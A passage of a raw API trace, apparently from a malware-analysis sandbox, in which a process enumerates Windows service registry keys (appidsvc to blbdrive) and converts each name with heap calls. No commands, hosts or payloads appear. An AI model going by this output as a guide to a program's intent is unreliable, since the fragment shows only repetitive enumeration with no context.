lpUsedDefaultChar=0x0) returned 8 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0260.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0260.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0260.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.387] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.387] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.387] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.387] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0260.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 